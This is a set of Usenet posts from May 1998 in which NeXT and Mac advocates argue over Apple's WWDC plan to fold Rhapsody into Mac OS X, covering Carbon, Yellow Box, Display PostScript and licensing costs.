I think they tried that in the Soviet Union as well. Didn't work too
well there either.
MC
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Lots of misinformation
Date: Wed, 13 May 1998 05:36:04 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35593144.34FC9080@nstar.net>
References: <01bd7de2$cfc7f170$04387880@test1> <3558CD7D.5327CAB0@unet.univie.ac.at>
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Christian Benesch wrote:
> (Personally, I can't by any stretch of imagination believe that they are
> going to trash OpenStep, or reduce it or whatever. I seemed the perfect
> deal back last year, as they purchased a more or less ready-to-go system,
> which they had but to adapt to the Mac and add some kernel-extensions. If
> they want to roll out an additional red carpet for MacOS developers that's
> fine with me.
> Think about it: $400 million down the gutter, IT CAN'T BE!)
I don't think anyone's saying that Yellow Box is being trashed. It's
just that the whole Rhapsody picture is a little less than what it
previously seemed. Even if, at worst, MacOS X is just a modernized MacOS
with well-integrated Yellow Box, yeah, a lot of the Rhapsody picture is
tainted, but the main thrust of things is still there.
Maybe this new strategy, troubling as it is, is just a big concession to
reality and an attempt at retaining the best possible combination with
much of the idealism stripped away. MacOS is, after all, quite popular,
and a modernized version with the technologies claimed in the WWDC
speech would actually be quite nice. Throw in the Yellow Box APIs and
you really have a product you can sell to both users and developers.
The biggest problem is keeping people interested. This all seems like a
long way away. I hope Jobs has big plans for keeping people seated
during the next year and a half.
I just wish (as ever) that Jobs would speak out about things more
specifically...
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: One Big Q for MacOS X: Multiuser?
Date: Wed, 13 May 1998 05:39:00 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <355931F4.535326BD@nstar.net>
References: <slrn6lhpsf.isf.mbkennel@lyapunov.ucsd.edu> <slrn6li9at.ej.sal@panix3.panix.com>
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Salvatore Denaro wrote:
> MacOS X *IS* Rhapsody with some new libs and OpenTrasport and a
> few other Mac things added.
>
> It will still have Mach+BSD and all the UID stuff in it.
I think what Matt is asking is whether the Carbon layer will
fundamentally understand the multiuser concept. There are a lot of
implications, even in the GUI, for a multiuser system. I can think of
quite a few things in the existing MacOS Toolbox that wouldn't go very
well with an underlying multiuser system.
Then again, perhaps part of the culling was to remove those calls which
would conflict with multiuser aspects. I'm willing to bet that Control
Panels, for instance, are being thrown out in favor of a user-specific
configuration system (especially given the binary-compatibility issues
with Control Panels).
MJP
Date: Wed, 13 May 1998 15:16:34 +0930
From: "timothyp@tne.net.au" <timothyp@tne.net.au>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody vs MacOS X (was Re: Apple screws Rhapsody *and* Mac
owners?)
References: <ericb-1105981718430001@132.236.171.104>
<6j9mjv$r3j$1@reader1.reader.news.ozemail.net>
Organization: Cybermarket Australia
Mime-version: 1.0
Content-Type: multipart/alternative; boundary="MS_Mac_OE_2977917395_1057574_MIME_Part"
Message-ID: <3559327d.0@news.camtech.net.au>
> THIS MESSAGE IS IN MIME FORMAT. Since your mail reader does not understand
this format, some or all of this message may not be legible.
--MS_Mac_OE_2977917395_1057574_MIME_Part
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>Eric Bennett wrote in message ...
>>Steve reminds us that MacOS is the "crown jewels" of Apple, and Rhapsody
>>is, more or less, an afterthought.
>
>Actually, he said in closing:
>"And this is our Crown Jewel - MacOS. And we are gonna have 2 great
>versions of Mac OS - we'll see if they intersect in the future."
>Earlier he had said "from then on, Rhapsody transitions into Mac OS X."
>
>2 versions! So that would mean apple has a 2 OS strategy, but
>they're both called Mac OS..... hmmmm....
>
>*98Q3 - Mac OS 8.5 (+ beta Carbon? - they're both final in 3 months)
>98Q3 - Rhapsody 1 (+ beta Carbon?)
>*99Q1 - Mac OS 8.6 (+ real Carbon?)
>99Q1 - Mac OS X beta
>*99Q3 - Mac OS / Sonata (aka 9?)
>99Q3 - Mac OS X
>
>We could be running Carbon on Rhapsody 1 and Allegro this September!
>Wouldn't we then have _everything_ Mac OS X will have?????
>
>If we do get Rhapsody+Carbon in August - why downgrade to Mac OS X
>in 1999? (IF we lose DPS & Unix & Cross platform abilities)
>
>>Big unanswered question from today: what happens to Rhapsody and the
>>Yellow Box? Will Apple have an OS with simple cross-compilation for PPC
>>and x86, and will that be MacOS X or Rhapsody? Or both or neither?
>
>Good questions. I guess we'll see.
>
>I know that Apple could put together an okay underlying system - just
>like MS has with NT. But to me the attraction of Rhapsody is
>it's Unix underpinnings with Mac ease-of-use, and I don't
>want Apple rewriting it. To others it's the DPS. Others like
>the YB cross platform. What still lives?
To me its the Unix unpinnings with the Mac ease of use AND DPS. If Apple really
is looking at cutting the ability to easily use the Unix underbelly I just shake
my head in wonder. And if they decide to scrap DPS for Quickdraw simply so the
larger houses with behemoth applications will code for carbon then I think that
Steve and Apple's kudos so-far have been ill-given.
If on the other hand carbon is really only an extension of the blue-box and
Apple will still be pushing new developers to code in YB and use DPS I will be
very Happy.
Tim Priest
--MS_Mac_OE_2977917395_1057574_MIME_Part
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<HTML>
<HEAD>
<TITLE>Re: Rhapsody vs MacOS X (was Re: Apple screws Rhapsody *and* Mac own=
ers?)</TITLE>
</HEAD>
<BODY BGCOLOR=3D"#FFFFFF">
<FONT SIZE=3D"1"><TT>>Eric Bennett wrote in message ...<BR>
>>Steve reminds us that MacOS is the "crown jewels" of Appl=
e, and Rhapsody<BR>
>>is, more or less, an afterthought.<BR>
><BR>
>Actually, he said in closing:<BR>
>"And this is our Crown Jewel - MacOS. And we are gonna have 2 grea=
t<BR>
>versions of Mac OS - we'll see if they intersect in the future."<B=
R>
>Earlier he had said "from then on, Rhapsody transitions into Mac O=
S X."<BR>
><BR>
>2 versions! So that would mean apple has a 2 OS strategy, but<BR>
>they're both called Mac OS..... hmmmm....<BR>
><BR>
>*98Q3 - Mac OS 8.5 (+ beta Carbon? - they're both final in 3 months)<BR=
>
>98Q3 - Rhapsody 1 (+ beta Carbon?)<BR>
>*99Q1 - Mac OS 8.6 (+ real Carbon?)<BR>
>99Q1 - Mac OS X beta<BR>
>*99Q3 - Mac OS / Sonata (aka 9?)<BR>
>99Q3 - Mac OS X<BR>
><BR>
>We could be running Carbon on Rhapsody 1 and Allegro this September!<BR=
>
>Wouldn't we then have _everything_ Mac OS X will have?????<BR>
><BR>
>If we do get Rhapsody+Carbon in August - why downgrade to Mac OS X<BR>
>in 1999? (IF we lose DPS & Unix & Cross platform abilities)<BR>
><BR>
>>Big unanswered question from today: what happens to Rhapsody and th=
e<BR>
>>Yellow Box? Will Apple have an OS with simple cross-compilation fo=
r PPC<BR>
>>and x86, and will that be MacOS X or Rhapsody? Or both or neither?=
<BR>
><BR>
>Good questions. I guess we'll see.<BR>
><BR>
>I know that Apple could put together an okay underlying system - just<B=
R>
>like MS has with NT. But to me the attraction of Rhapsody is<BR>
>it's Unix underpinnings with Mac ease-of-use, and I don't<BR>
>want Apple rewriting it. To others it's the DPS. Others like<BR>
>the YB cross platform. What still lives?<BR>
<BR>
To me its the Unix unpinnings with the Mac ease of use AND DPS. If Apple r=
eally<BR>
is looking at cutting the ability to easily use the Unix underbelly I just =
shake<BR>
my head in wonder. And if they decide to scrap DPS for Quickdraw simply so=
the<BR>
larger houses with behemoth applications will code for carbon then I think =
that<BR>
Steve and Apple's kudos so-far have been ill-given.<BR>
<BR>
If on the other hand carbon is really only an extension of the blue-box and=
<BR>
Apple will still be pushing new developers to code in YB and use DPS I will=
be<BR>
very Happy.<BR>
<BR>
<BR>
Tim Priest<BR>
<BR>
<BR>
</TT></FONT>
</BODY>
</HTML>
--MS_Mac_OE_2977917395_1057574_MIME_Part--
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X
Date: Wed, 13 May 1998 05:51:27 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <355934DF.ABA31EFC@nstar.net>
References: <6j7roi$m57$1@nnrp1.dejanews.com> <35585EBF.8EA3C9C7@nstar.net> <6ja772$k4$5@news.idiom.com> <35592F47.95835927@nstar.net> <slrn6licji.1l3.jason@jhste1.dyn.ml.org>
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Jason S. wrote:
> >[the above is sarcasm]
>
> Why would hoping for a free Photoshop clone for the Mac making you
> "tingly" be sarcasm, Mike? Just wondering...
Well, a few reasons. By the way, don't read too much into this stuff, it
will be easy to take my remarks for something I did not intend:
1) GIMP is not a Photoshop clone. I know that a lot of people claim that
it is, and that GIMP has a lot of functionality to back up their claims.
Even so, I think this is wishful thinking, and that the Great Big
Picture of Photoshop is much different (and much better) than the Great
Big Picture of GIMP. To be honest and frank, GIMP is a very poor
substitute for Photoshop, period.
2) Free software, to me, means accessibility. It doesn't have anything
to do with some grandiose scheme to cheat developers out of their just
rewards and cheat users out of competent and polished software and
support. I like free software because it is free (yes, as in free beer).
Linux means that I can get a free UNIX-class operating system and am
surrounded by supportive and dedicated individuals who also benefit from
its freeness (yes, as in free beer). That adds up to a very lovely
prospect in my dirt-cheap student's world, and I like it.
However, I just bought Photoshop 4.0 with an academic discount, and I
get a free upgrade to 5.0 for buying it after April 1. To me, Photoshop
is both excellent and accessible, and thus I find my needs and
principles greatly satisfied by it.
Would I like to see a real free Photoshop clone? Certainly. It would
have saved me $250. Perhaps that sounds crude, but it's really quite
important.
3) On April Fools' Day, there was a joke about GIMP being ported to
Win32, complete with a junk downloadable version and some noise about
how easy the program was to port because of GTK's fictional
cross-platform abilities.
The joke is really on those who use and support GTK and GIMP instead of
a real cross-platform system. The sad truth is that GIMP will never run
on MacOS; it is an X11 program, and always will be. If the GIMP
developers had even used something like Qt, they would doubtless have
had a Windows version many moons ago, and if the code were well-written,
it's possible that by using that OO framework they could have attempted
even a port to the MacOS, with some help from Troll Tech.
MJP
From: stsamuel@momotaro.student.harvard.edu (Shawn Samuel)
Newsgroups: comp.sys.next.advocacy
Subject: BSD cli on OS X?
Date: 13 May 1998 05:31:21 GMT
Organization: Harvard University, Cambridge, Massachusetts
Message-ID: <6jbb79$akq$1@news.fas.harvard.edu>
Is there a definitive answer to whether
or not Apple is planning to include the
option of a BSD cli in OS X?
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Wed, 13 May 1998 07:27:50 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35594B76.61361A46@nstar.net>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2>
<35586C56.B68E310F@milestonerdl.com> <6jaj0r$m32$1@interport.net> <_L461.1954$sy4.3560932@news.rdc1.sdca.home.com>
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Rex Riley wrote:
> This whole train of thought is bogus on my part. My apologies for wasting
> bandwidth. The OS under MacOS X is Macintosh. Pure and simple Mac, improved
> fundamentally, but a single user desktop.
Not necessarily. I really think there's evidence, in what was said, that
the OS under MacOS is BSD, with a Carbon Blue Box running atop it.
Harkening back to all the talk of future MacOS releases being simply
Blue Box, I think that that's what we're seeing. The real news is that
unification is at hand, rather than in the far-off future.
MJP
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Carbon features: NO Quickdraw !!
Date: Tue, 12 May 1998 23:12:44 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d8xt9j.1q6dg7q11738g0N@cetus181.wco.com>
References: <6j9631$61c$1@news.tudelft.nl>
Abraham Guyt <guyt@is.twi.tudelft.nl> wrote:
> Below a repost of a mac.advocacy newspost. One very important aspect is
> that Quickdraw is NOT supported by Carbon.
This turns out not to be the case. QuickDraw is an integral element of
the Carbon APIs, and will see substantial enhancements for MacOS X.
Mike Paquette
mpaque@wco.com
Subject: Apple Dumps Display Postscript in Rhapsody
Newsgroups: comp.sys.next.advocacy
From: akira@home.com
Message-ID: <_La61.80$5g3.847607@news.rdc1.sfba.home.com>
Date: Wed, 13 May 1998 06:06:50 GMT
NNTP-Posting-Date: Tue, 12 May 1998 23:06:50 PDT
Organization: @Home Network
Howdy folks,
Since everyone is freaking out about Rhapsody being dead and all, I guess
this might be a moot point, but why not just throw more oil in the fire.
Today (Tuesday) at the Yellowbox Appkit meeting, the Apple people announced
that they would be getting rid of DPS. Well, not quite, but close enough.
What they said is that they will be keeping the DPS imaging model, but
will/may be getting rid of the Postscript language layer. In essence, no
more PS...() calls, and no more pswraps. Personally, since I've put a lot
of work into some highly specialized PS code, I was very not pleased. On
Thursday, there will be a session on the future of the graphics system where
I expect them to explain this move.
So in summation:
- For Rhapsody 1.0, DPS is still there.
- For MaxOS X, DPS's imaging model will still be there, but the language may
not be.
- No word on what will be used to replace it, but it sounded like they are
looking at making a more abstract, higher level API for drawing. Something
like what they are doing with the NSBezierPath.
- More official word on Thursday.
Okay, go freak out now. :-)
-d
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Tue, 12 May 1998 23:12:39 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d8xsi0.kqhkhi73wgzsN@cetus181.wco.com>
References: <ericb-1105981718430001@132.236.171.104> <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us> <6j9d8c$ft4$1@larry.admin.phil.uu.nl> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <mcasse-2708561359510001@line8047.ras.ilstu.edu>
Matt Casselman <mcasse@rs6000.cmp.ilstu.edu> wrote:
> MacOS will have TWO, count them two, APIs: Carbon (MacOS) and Yellow Box
> (NeXT). MacOS X is macOS on Mach.
And now you know how we get the Yellow Box on MacOS. :-)
Mike Paquette
mpaque@wco.com
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Wed, 13 May 1998 03:16:54 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-1305980316540001@jchristie.halifaxcable.dal.ca>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net> <*johnnyc*-1205981218300001@rklein.psychology.dal.ca> <35585E24.FF0731D6@milestonerdl.com>
In article <35585E24.FF0731D6@milestonerdl.com>, mark@milestonerdl.com wrote:
> John Christie wrote:
>
> > Does anyone really think jobs would entirely adandon OpenStep?
>
> Jobs said he was bringing back in the Newton group to market E-mates. Newton
> was killed by him. Who KNOWS what Jobs and Apple is going to do? Apple has
> 'fooled' the developers b4.
There is an enormous difference between Jobs killing a product he
openly detested, killing a project that means a great deal to him. The
core of Open Step is the real future of the Macintosh as long as Jobs is
there. Carbon is a way for folks who already invested in the Mac APIs to
be a part of that future (until real YB apps come in and show what they
can do).
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
Message-ID: <3558FA52.E2E32A2F@unet.univie.ac.at>
Date: Wed, 13 May 1998 03:41:39 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: Did Steve Jobs really say this? [Intel Question]
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu> <6ir7ua$14g$1@nnrp1.dejanews.com> <rmcassid-0705980005120001@dialin33419.slip.uci.edu> <6ivv73$38k$1@nnrp1.dejanews.com> <rmcassid-0905981831450001@dialin9013.slip.uci.edu> <6j4gep$l28$1@nnrp1.dejanews.com> <rmcassid-1105981238190001@dante.eng.uci.edu> <6j8umq$qvn@chile.earthlink.net> <ufu36vf6fq.fsf_-_@ftp.ardi.com>
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As I read it:
if Intel PCs and G3-Macs had about the same performance, due to the bigger market
share of Intel PCs developers would migrate.
THIS is the fact Job's is "less concerned about", as with greater G3 performance,
Macs will be a valid alternative and will keep their customer base, DESPITE the
cross-development capability.
So I really think this is a statement IN FAVOUR of Rhapsody/Intel
Christian Benesch
Clifford T. Matthews wrote:
> >>>>> "NYT:Ziya" == New York Times, via Ziya Oz <ziyaoz@earthlink.net> writes:
>
> [snip]
>
> NYT:Ziya> Moreover, Jobs said he was less concerned about the ability
> NYT:Ziya> to run on both Intel and Power PC microprocessors, because
> NYT:Ziya> future versions of the Power PC chip would continue to
> NYT:Ziya> outperform Intel's Pentium family of processors.
>
> Since this is a summary, not a direct quote, I'm really curious as to
> what Steve said and what Apple's plans are for MacOS X. So far,
> reading between the lines, it sounds like Rhapsody/Intel will go away.
> Ever since they killed the clones, that's been our operating
> assumption. If Apple says it's dead, that will settle it. NOTE: If
> Apple says it's alive, that *doesn't* settle it.
>
> --Cliff
> ctm@ardi.com
Message-ID: <3558FE0D.17BE6CC1@unet.univie.ac.at>
Date: Wed, 13 May 1998 03:57:33 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <Esu3v3.365@micmac.com> <see-below-1205981743380001@209.24.240.213>
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Nowhere, all this getting out of hand.
Christian Benesch...against NG-hysteria
Matthew Vaughan wrote:
> *snip*
>
> Oh? Where did Apple suggest Carbon would run on Intel?
>
> ....................................................
> MATTHEW VAUGHAN
> matthewv at best dot com (damn spammers...)
> http://www.best.com/~matthewv/
> ....................................................
Message-ID: <3558F8DD.BB783CFA@unet.univie.ac.at>
Date: Wed, 13 May 1998 03:35:26 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: WWDC according to New York Times
References: <6il92r$3cl@bgtnsc01.worldnet.att.net>
<6imcmk$oj1$3@ligarius.ultra.net>
<stone-ya02408000R0505980240210001@news.enetis.net>
<6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu>
<6ir7ua$14g$1@nnrp1.dejanews.com>
<rmcassid-0705980005120001@dialin33419.slip.uci.edu>
<6ivv73$38k$1@nnrp1.dejanews.com>
<rmcassid-0905981831450001@dialin9013.slip.uci.edu>
<6j4gep$l28$1@nnrp1.dejanews.com>
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I really think that what we are seeing here is newsgroup-hysteria
spreading.....
Christian Benesch
Ziya Oz wrote:
> Here's an interesting take on the WWDC by New York Times this morning:
>
> SAN JOSE, Calif. -- Continuing to gamble big in his efforts to resurrect
> Apple Computer Inc., Steve Jobs, the company's interim chief executive,
> on Monday effectively killed the Rhapsody operating system, which Apple
> acquired when it bought Jobs' company Next Software Inc. for $425
> million in 1997.
>
> [snip]
>
> Under the new software strategy, Rhapsody will serve only as a
> transition to Mac OS X, permitting software developers to incorporate
> some of the new operating system's features even before the first test
> version of OS X (the X is a Roman numeral 10, and the system is called
> OS 10) is introduced early next year.
>
> [snip]
>
> In an interview after his speech, Jobs said he realized 10 months ago,
> when he took over as interim chief executive, that the company's
> previous Rhapsody strategy was doomed.
>
> "I know I'm going to take some arrows," he said of his shifting the
> company's strategy. "But you've got to do what you've got to do."
>
> [snip]
>
> Moreover, Jobs said he was less concerned about the ability to run on
> both Intel and Power PC microprocessors, because future versions of the
> Power PC chip would continue to outperform Intel's Pentium family of
> processors.
>
> [snip]
>
> Separately, the company reported in a financial filing Monday that since
> the second quarter of 1996 it had laid off about 3,600 full-time
> employees, excluding employees of businesses Apple sold off. The
> restructuring cost about $223 million in addition to write-downs of $60
> million during the same period.
>
> Despite high hopes for selling computers directly by way of the
> Internet, Apple also said it generated only $16 million in sales on its
> Web site during the second quarter of this year.
>
> Ziya
Message-ID: <3559021F.2125AB9B@unet.univie.ac.at>
Date: Wed, 13 May 1998 04:14:55 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Steve Jobs fulfills fiduciary responsibility
References: <6j9vr4$flq@nntp02.primenet.com>
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Nice theory.
But I can hardly believe that people shuffling around hundreds of millions of
dollars don't look what the invest for and have at least a rudimentary idea of
what will happen in the future(meaning Apple,when Jobs was still with NeXT).So
I still view all this "Dropping-OpenStep"-business as utter nonsense. But
apparently there are some concessions made towards MacOS developers.AND THAT'S
ABOUT IT.
Christian Benesch...against NewsGroupHysteria
John Jensen wrote:
> As CEO of NeXT, Steve had a fiduciary responsibility to the shareholders
> of that company. In that role he had a responsibility to sell NeXT to
> Apple at the highest possible price when the opportunity presented itself.
>
> As Interim CEO of Apple, Steve has a fiduciary responsibility to the
> shareholders of Apple. In that role he has a responsibilty to choose the
> best plan for OS development. It may be that he has decided to discard
> Rhapsody as part of that plan.
>
> I would have liked to see Apple use the NeXT OS more effectively, but I
> can see a certain logic to Steve's moves. Two different roles, two
> different responsibilities.
>
> As technologists we may wish for a more dramatic OS roadmap, but for
> shareholders a slow build out of the current MacOS market base could be a
> better plan.
>
> John
Message-ID: <35592E26.6D14BA54@unet.univie.ac.at>
Date: Wed, 13 May 1998 07:22:47 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.next.programmer,comp.sys.next.advocacy
Subject: Re: whats up with zoneraiders?!?/!
References: <6j04ej$nvc$1@newsfep4.sprintmail.com> <6jaio4$lon$1@interport.net> <6jap7p$2hb$1@crib.bevc.blacksburg.va.us>
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Due to the OpenStep standard there should also be a backward combatibility
of source code from Rhapsody to OS4.x.,I should think.
Christian Benesch
Nathan Urban wrote:
> In article <6jaio4$lon$1@interport.net>, float@interport.net wrote:
>
> > OPENSTEP apps are supposed to work on Rhapsody, but I haven't heard
> > anything suggesting the reverse is true.
>
> Correct; it isn't.
>
> > The official word is that OPENSTEP apps will run on Rhapsody. I don't
> > know whether that's source compatibility or binary compatibility.
>
> Source.
Message-ID: <355922D0.7732AB34@unet.univie.ac.at>
Date: Wed, 13 May 1998 06:34:24 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <slrn6lfq90.eph.mbkennel@lyapunov.ucsd.edu> <6ja1eu$n7k$1@xmission.xmission.com> <tminkoff-1205982118030001@dt060na6.san.rr.com>
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It did.
So $20 is a LAUGH!
(It kills Rhapsody's chances however,as say a game-system, or low-cost
productivity-system. Autocad or some such huge budget app won't be severly
affected by costing $20 more)
Christian Benesch
Tony Minkoff wrote:
> In article <6ja1eu$n7k$1@xmission.xmission.com>, Kristofer Jon Magnusson
> <kris@xmission.xmission.com> wrote:
> > There is only one reason to keep the Yellow Box now and that is to be able
> > to check off the box on the evaluation sheet that says "Cross-platform."
> > If Carbon goes Intel, then kiss the Yellow box goodbye.
>
> If that were really the only reason to use Yellow Box, we wouldn't need
> it. However, Yellow Box promises to offer much more than merely the kind
> of cross-platformness that Carbon will offer.
>
> > : Perhaps they'll be woken up when three hackers in a garage kick their butt
> > : with some OpenStep apps.
> >
> > It didn't happen before, when OPENSTEP was a platform. It didn't happen
> > when NeXT released OPENSTEP for Windows.
>
> Didn't OPENSTEP for Windows cost several hundred dollars per end-user license?
>
> --
> Tony Minkoff
> tminkoff@cts.com
> anthony_minkoff@ccmail.mitchell.com
Message-ID: <35591A23.66A07C46@unet.univie.ac.at>
Date: Wed, 13 May 1998 05:57:24 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X: it's all over
References: <6j8fet$k2n$1@walter.cs.umd.edu> <slrn6lfj6b.l9u.sal@panix3.panix.com> <5cR51.1551$sy4.3122694@news.rdc1.sdca.home.com>
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What do you mean "can NeXTies afford two years for market access" ?
The NeXT-Market is there.Always was and only has a chance to get bigger with the
Apple association.
We are actively using OS 4.2 until Rhapsody gets shipped for good.
Whom do you think we're working for?
Christian Benesch
Rex Riley wrote:
> In <slrn6lfj6b.l9u.sal@panix3.panix.com> Salvatore Denaro wrote:
> > On 12 May 1998 03:25:17 GMT, Sean Luke <seanl@cs.umd.edu> wrote:
> > <<other fud trimmed>>
> >
> > I read both the Apple PR statement and Scott's notes on StepWise. From what
> > I read MacOSX is Rhapsody renamed MacOS and with a better bluebox.
> >
> >
>
> Is it all over?
>
> Irregardless of what you read, can NeXTies "afford" two years for market
> access via MacOS X? Can Mac ISV's afford to wait for MacOS X new technology?
> Can Apple afford to wait? Can WinNT users afford to wait?
>
> -r
Message-ID: <355921D0.9E838E8D@unet.univie.ac.at>
Date: Wed, 13 May 1998 06:30:08 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
To: "mbkennel yahoo.com" <"replace this with '"@'>
Subject: Re: Adobe: ungrateful swine.
References: <slrn6li7r6.k15.mbkennel@lyapunov.ucsd.edu>
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I understand your anger with this whole business.
But looking at past NeXT-Licensing this is heaven.
User-suites did cost a fortune, and where only making sense for large
corporations.
Compared to this $20 is virtually free.
Of course, it destroys the dream of having one Developer and porting without
additional costs (Shareware Developer's might really be pissed by this)
But as for custom-made solutions for small enterprises, this is just beyond my
wildest hopes.
(Please don't be flame me for saying all this.
I can see that $20 is just that small bit that kills Rhapsody's chances as,say a
game system or a low-price productivity-system.)
Christian Benesch
Matt Kennel wrote:
> So according to the latest from Scott Anguish (manager of the
> fabulous, and, unlike many, factually rigorous Stepwise site),
> the license fee for Yellow Box on Windows is still around $20,
> on account of somebody's licensed technology.
>
> They will be cloning the licensed stuff in the next year to
> let it be totally free of charge.
>
> Almost certainly this includes Display Postscript.
>
> I think Adobe ought to be kissing SteveButt because their nuts were
> saved from the fire with "carbon", preventing some great OpenStep
> program from cleaning their clock.
>
> For example, by liberating Apple from Display Postscript fees, something
> they don't even bother continuing any longer.
>
> But nooooooo. They have Wintel worship on their brain. That is very stupid.
>
> Just wait until MSFT decides it wants to be in the graphics and image
> manipulation business. It already has a couple of image manipulation
> programs.
>
> "Out Out demons of Stupidity"
>
> --
> * Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
> * "People who send spam to Emperor Cartagia... vanish! _They say_ that
> * there's a room where he has their heads, lined up in a row on a desk...
> * _They say_ that late at night, he goes there, and talks to them... _they
> *- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
Message-ID: <355937CD.DAD83C55@unet.univie.ac.at>
Date: Wed, 13 May 1998 08:03:57 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: Lots of misinformation
References: <01bd7de2$cfc7f170$04387880@test1> <3558CD7D.5327CAB0@unet.univie.ac.at> <35593144.34FC9080@nstar.net>
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Michael J. Peck wrote:
> Christian Benesch wrote:
>
> > (Personally, I can't by any stretch of imagination believe that they are
> > going to trash OpenStep, or reduce it or whatever. I seemed the perfect
> > deal back last year, as they purchased a more or less ready-to-go system,
> > which they had but to adapt to the Mac and add some kernel-extensions. If
> > they want to roll out an additional red carpet for MacOS developers that's
> > fine with me.
> > Think about it: $400 million down the gutter, IT CAN'T BE!)
>
> I don't think anyone's saying that Yellow Box is being trashed. It's
> just that the whole Rhapsody picture is a little less than what it
> previously seemed. Even if, at worst, MacOS X is just a modernized MacOS
> with well-integrated Yellow Box, yeah, a lot of the Rhapsody picture is
> tainted, but the main thrust of things is still there.
Well,some threads are getting hysterical.And the NY-Times article:"Rhapsody is
being killed of" and nonsense like it suggested to me that people see
Rhapsody/OpenStep/BSD doomed.Which is not the case.
> Maybe this new strategy, troubling as it is, is just a big concession to
> reality and an attempt at retaining the best possible combination with
> much of the idealism stripped away. MacOS is, after all, quite popular,
> and a modernized version with the technologies claimed in the WWDC
> speech would actually be quite nice. Throw in the Yellow Box APIs and
> you really have a product you can sell to both users and developers.
>
As I said: I have no problem with rolling out an additional red carpet for MacOS
developers.
> The biggest problem is keeping people interested. This all seems like a
> long way away. I hope Jobs has big plans for keeping people seated
> during the next year and a half.
>
He has to worry about the patience of traditional Mac-Developers, and I agree
that they seem to be more important than we OpenSteppers thought a year ago.But
as for enthusiasm from the NeXT-community, this could be one, if small,leg to
stand on.
> I just wish (as ever) that Jobs would speak out about things more
> specifically...
He should read this newsgroup and see for himself what damage he is doing.
> MJP
Christian Benesch
Message-ID: <3558FD30.36E96628@unet.univie.ac.at>
Date: Wed, 13 May 1998 03:53:52 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: Why not Carbon/Intel?
References: <8EEF451.09B60071D7.uuout@relaynet.org> <3558DAD3.8B137708@milestonerdl.com>
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Stuff MacOS!
Christian Benesch...OpenStep for all!
M Rassbach wrote:
> The biggest 'problem' that I saw for Apple was that supporting OpenSTEP
> (YellowBOX) on Intel/HP-UX/Solaris/MacOS was that Intel/HP-UX/Solaris wasn't
> MacOS hardware.
>
